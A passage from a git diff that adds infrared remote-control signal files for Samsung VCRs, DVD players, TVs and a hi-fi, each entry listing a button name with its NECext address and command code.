parsed +protocol: NECext +address: 05 05 00 00 +command: 3D 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 50 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 52 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 5C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 73 00 00 00 +# +name: picture +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 75 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 77 00 00 00 +# +name: shuttle- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7D 00 00 00 +# +name: shuttle+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir new file mode 100644 index 000000000..7d9cf4899 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: tv_vcr +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 04 00 00 00 +# +name: KEY_1_slow- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 06 00 00 00 +# +name: KEY_3_slow+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 08 00 00 00 +# +name: KEY_4_shuttle- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0A 00 00 00 +# +name: KEY_6_shuttle+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0C 00 00 00 +# +name: KEY_7_V_LOCK- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0E 00 00 00 +# +name: KEY_9_V_LOCK+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 11 00 00 00 +# +name: KEY_0_frame_advance +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 12 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: clear_reset +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 20 00 00 00 +# +name: auto_track +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 21 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 22 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 24 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 29 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2B 00 00 00 +# +name: trk_up +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: trk_down +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 +# +name: dub +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2F 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 30 00 00 00 +# +name: speed +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 5C 00 00 00 +# +name: ipc +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 75 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir new file mode 100644 index 000000000..beeca9c08 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: DIGEST +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 00 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 01 00 00 00 +# +name: STANDBY/ON +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 13 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 17 00 00 00 +# +name: FB/PREV +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: FF/NEXT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1E 00 00 00 +# +name: DISC_MENU +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 22 00 00 00 +# +name: KEY_3D_SOUND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 26 00 00 00 +# +name: KEY_VCR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 28 00 00 00 +# +name: MARK +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 +# +name: CLOCK/COUNTER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 31 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 32 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3D 00 00 00 +# +name: TRK_DOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 40 00 00 00 +# +name: SETUP/ENTER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 43 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 54 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 55 00 00 00 +# +name: INPUT_SEL +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 59 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 60 00 00 00 +# +name: TRK_UP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 63 00 00 00 +# +name: MODE/REPEAT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 66 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir new file mode 100644 index 000000000..0ba653172 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: MTS +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 00 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: PrevChannel +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: SURF +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir new file mode 100644 index 000000000..866c01628 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 12 00 00 00 +# +name: SLOW+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 13 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: P/S +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 16 00 00 00 +# +name: SLOW- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 17 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1C 00 00 00 +# +name: CLR/RST +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 20 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 23 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 24 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2B 00 00 00 +# +name: FINE+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: FINE- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 +# +name: A.DUB +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2E 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 31 00 00 00 +# +name: CLK/COUNT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 33 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 35 00 00 00 +# +name: SP-LP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3A 00 00 00 +# +name: Q-PRO +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3D 00 00 00 +# +name: SHUTTLE- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7D 00 00 00 +# +name: SHUTTLE+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir new file mode 100644 index 000000000..1583b0f1a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 12 00 00 00 +# +name: SLOW+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 13 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 16 00 00 00 +# +name: SLOW- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 17 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: F.FW +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1C 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1E 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: D.TRK +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 21 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 23 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 24 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 25 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2B 00 00 00 +# +name: FINE- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: FINE+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 31 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 33 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 35 00 00 00 +# +name: VPS +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 38 00 00 00 +# +name: SP/LP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3A 00 00 00 +# +name: Q.PRO +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3D 00 00 00 +# +name: AFT +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 74 00 00 00 +# +name: SHUTTLE- +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7D 00 00 00 +# +name: SHUTTLE+ +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir new file mode 100644 index 000000000..eda92a7f9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: A-RPlay +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 00 00 00 00 +# +name: A-Play +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 01 00 00 00 +# +name: A-FFwd +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 02 00 00 00 +# +name: A-Rew +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 03 00 00 00 +# +name: A-Stop +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 04 00 00 00 +# +name: B-RPlay +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 05 00 00 00 +# +name: B-Play +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 06 00 00 00 +# +name: B-FFwd +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 07 00 00 00 +# +name: TuneUp +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 08 00 00 00 +# +name: TuneDown +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 09 00 00 00 +# +name: CD-Stop +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0A 00 00 00 +# +name: B-Rew +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0B 00 00 00 +# +name: CD-FFwd +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0C 00 00 00 +# +name: CD-Rew +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 0F 00 00 00 +# +name: CD-Play +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 10 00 00 00 +# +name: B-Stop +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 11 00 00 00 +# +name: B-RRec +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 12 00 00 00 +# +name: B-FRec +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 13 00 00 00 +# +name: B-RecMute +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 14 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 15 00 00 00 +# +name: PresetUp +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 16 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 17 00 00 00 +# +name: Band +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 19 00 00 00 +# +name: PresetDown +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1A 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1B 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1C 00 00 00 +# +name: Phono +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1D 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1E 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 00 01 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir new file mode 100644 index 000000000..574872a6e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: tvvideo +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 02 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 06 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 0F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 12 00 00 00 +# +name: PRE-CH +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 13 00 00 00 +# +name: center +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 1F 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 23 00 00 00 +# +name: P.STD +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 28 00 00 00 +# +name: CH.SCAN +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 31 00 00 00 +# +name: SURF +type: parsed +protocol: NECext +address: 07 07 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir new file mode 100644 index 000000000..43b98f0a9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 